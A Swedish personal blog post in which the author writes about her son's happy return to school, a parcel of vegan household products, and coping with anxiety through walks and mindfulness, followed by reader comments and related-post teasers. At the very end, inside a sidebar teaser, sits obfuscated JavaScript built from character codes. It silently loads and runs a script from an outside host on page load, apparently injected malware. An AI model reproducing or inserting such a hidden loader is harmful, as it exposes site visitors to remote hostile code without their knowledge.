Glad kille tillbaka i skolan :)

A2ECBA07-C3FA-4749-B496-004C7A3606AD

Hej igen!

Det var en lycklig kille som fick åka till skolan idag ❤️ SOM han har längtat! Både efter kompisar och rasterna 😉 När klockan ringde första gången så studsade han ur sängen….. Han  brukar snoza minst två gånger och vata lite trött. Jag prioriterar att ha lite längre tid hemma på morgonen innan skolan. Sätter på barnkanalen, tänder några ljus och myser i soffan tillsamman en stund. Men idag hoppade han ur sängen, klädde på sig direkt och ville åka så fort som möjligt 😅

Äntligen fick han ha på sig sina nya kläder och var mer än taggad på att åka….. (Man får vara glad så länge det är så 😉 ) Det var just den här outfiten han själv valde direkt, för att det påminde om Jonas kläder😌

Hittar ingen stående bild på Jonas med just ”den” outfiten, men hittade denna… ☺️

E6DE28FB-C809-4FFF-B035-43829B5A168A

Ludvig frågade om jag kunde hämta honom extra sent idag 😅 (!?!?!) 

Nja… helst inte. Men däremot så gick jag med på att komma efter eftermiddags fikat🍏

19AC31E1-5AF7-48A7-8A5C-2F8FA4D8228E 3B3E83B5-0D6F-4767-A711-0ABF9D3E213B A9AB82B3-5A18-43CC-834B-5E91C8DDE16E

Nu har jag varit iväg på in promenad och ska lägga mig och vila en stund☺️ Tvättmaskinen snurrar, jag har som mål att städa efter lunch…

Jag har precis hämtat ut ett paket ifrån REN LOGIK. Som är helt veganska miljövänliga produkter som även säljs på apoteket.

Jag har inte använt dom ännu, men har doftat på alla. Här är familjen ”Äppelblom”🍏

-Wow så fräsch doft! 

AB1A4767-2855-4E91-B12D-72C32EA88621

Min status på hur jag mår just nu. Jag känner mig ganska lugn och nervarvad just nu…. 🙏🏻

Jag sover lite oroligt, men tacklar ångestvågorna helt okay. Jag använder mig av andningen och mindefullness dagligen, jag har hittat ett ställe nere vid vattnet. Det tar ca 20-30 min i lugnt tempo att gå ner dit. Jag passerar stigar, öppet landskap och omgiven av naturen. När jag kommer ner så sätter jag mig och lyssnar på en meditations fil och andas, lyssnar in havet och försöker att vara i nuet 🙏🏻 Inna jag tar samma väg tillbaka…… -SÅ befriande! 

BB0DCC2F-C211-49DE-8E98-210C8C402D8B 6E4FA1AC-9BD5-4FE5-AB2E-6479FDB22BBA

Min utsikts plats…..

7EB060E5-AA2C-45A2-B378-B21858885C75

Vi hörs senare…..

kram sålänge💕

/My Martens 

14 Komentarer

  1. Hej kan du tipsa om bra mindfulness filer? Är mitt uppe i mitt första återfall efter diagnos utmattningsyndrom som jag fick förra hösten och nu har jag kraschat igen ?

    • Åh! Alltså, jag får min av min coach. Jag har inte kommit så långt ännu… men om man googlar så får man upp ett jätte brett utbud. Så kanske du kan testa dig fram? -Lycka till! ❤️

  2. Hej kan du tipsa om bra mindfulness filer? Är mitt uppe i mitt första återfall efter diagnos utmattningsyndrom som jag fick förra hösten och nu har jag kraschat igen 😭

    • Åh! Alltså, jag får min av min coach. Jag har inte kommit så långt ännu… men om man googlar så får man upp ett jätte brett utbud. Så kanske du kan testa dig fram? -Lycka till! ❤️

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/